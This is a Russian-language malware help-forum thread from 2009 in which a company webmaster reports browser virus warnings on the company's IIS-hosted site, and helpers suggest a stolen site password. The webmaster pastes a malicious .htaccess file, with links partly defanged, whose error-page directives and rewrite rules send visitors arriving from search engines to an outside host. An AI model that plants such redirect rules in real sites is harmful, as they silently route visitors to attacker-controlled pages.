На сайте tau.ur.ru и форуме Eset 4 при входе нашел такой вот вирус и закрывает окно браузера...весь сайт проверил и весь комп но так и не смог найти вирус проверял и AVZ 4.32 и Nod32 2.7
прилагаю логи
На сайте tau.ur.ru и форуме Eset 4 при входе нашел такой вот вирус и закрывает окно браузера...весь сайт проверил и весь комп но так и не смог найти вирус проверял и AVZ 4.32 и Nod32 2.7
прилагаю логи
Логи из локальной сессии нужны.AVZ запущен из терминальной сессии
вот логи, сделал подключившись радмином
Ничего подозрительного не видно.
Напишите в техподдержку ЕСЕТ, может ложняк.
на компе почти в каждлой папке сайта появился файл :
.htaccess
со след содержанием :
ErrorDocument 400 xttr://ake.kz/in.cgi?8
ErrorDocument 401 xttr://ake.kz/in.cgi?8
ErrorDocument 403 xttr://ake.kz/in.cgi?8
ErrorDocument 404 xttr://ake.kz/in.cgi?8
ErrorDocument 500 xttr://ake.kz/in.cgi?8
RewriteEngine On
RewriteCond %{xttr_REFERER} .*google.* [OR]
RewriteCond %{xttr_REFERER} .*ask.* [OR]
RewriteCond %{xttr_REFERER} .*yahoo.* [OR]
RewriteCond %{xttr_REFERER} .*excite.* [OR]
RewriteCond %{xttr_REFERER} .*altavista.* [OR]
RewriteCond %{xttr_REFERER} .*msn.* [OR]
RewriteCond %{xttr_REFERER} .*netscape.* [OR]
RewriteCond %{xttr_REFERER} .*aol.* [OR]
RewriteCond %{xttr_REFERER} .*hotbot.* [OR]
RewriteCond %{xttr_REFERER} .*goto.* [OR]
RewriteCond %{xttr_REFERER} .*infoseek.* [OR]
RewriteCond %{xttr_REFERER} .*mamma.* [OR]
RewriteCond %{xttr_REFERER} .*alltheweb.* [OR]
RewriteCond %{xttr_REFERER} .*lycos.* [OR]
RewriteCond %{xttr_REFERER} .*search.* [OR]
RewriteCond %{xttr_REFERER} .*metacrawler.* [OR]
RewriteCond %{xttr_REFERER} .*bing.* [OR]
RewriteCond %{xttr_REFERER} .*dogpile.*
RewriteRule ^(.*)$ xttr://ake.kz/in.cgi?7 [R=301,L]
Последний раз редактировалось Rene-gad; 31.08.2009 в 15:31. Причина: links disinfected
http://en.wikipedia.org/wiki/Htaccess
Что значит
???в каждлой папке сайта
Указанный в предыдущем сообщении tau.ur.ru - это Ваш сайт и в папках - вирусы лежат?
да этот сайт нашей компании а что значит в каждой папке объянсяю
сайт стоит на 2003 серверной винде соответственно на IIS весь сайт лежит в папке inetpub/wwwroot/ и во многих папках сайта обнаружил вот такой вот файл какой написал и он явно не должен иметь там место..я его естественно везде помочил...но всё равно при заходе на сайт браузеры выдают придупреждения что мол на сайте вирус
Мой никаких базаров не устраивает: WinXP SP3 + Firefox 3.5.2 + KAV2010при заходе на сайт браузеры выдают прЕдупреждения что мол на сайте вирус
Похоже, пароль доступа к сайту похитили, и на сайт заливают эксполойты.
Меняйте пароль, проверяйте компьютеры, на которых этот пароль вводился.
Уважаемый(ая) Orekhov, наши специалисты оказали Вам всю возможную помощь по вашему обращению.
В целях поддержания безопасности вашего компьютера настоятельно рекомендуем:
Чтобы всегда быть в курсе актуальных угроз в области информационной безопасности и сохранять свой компьютер защищенным, рекомендуем следить за последними новостями ИТ-сферы портала Anti-Malware.ru:
Надеемся больше никогда не увидеть ваш компьютер зараженным!
Если Вас не затруднит, пополните пожалуйста нашу базу безопасных файлов.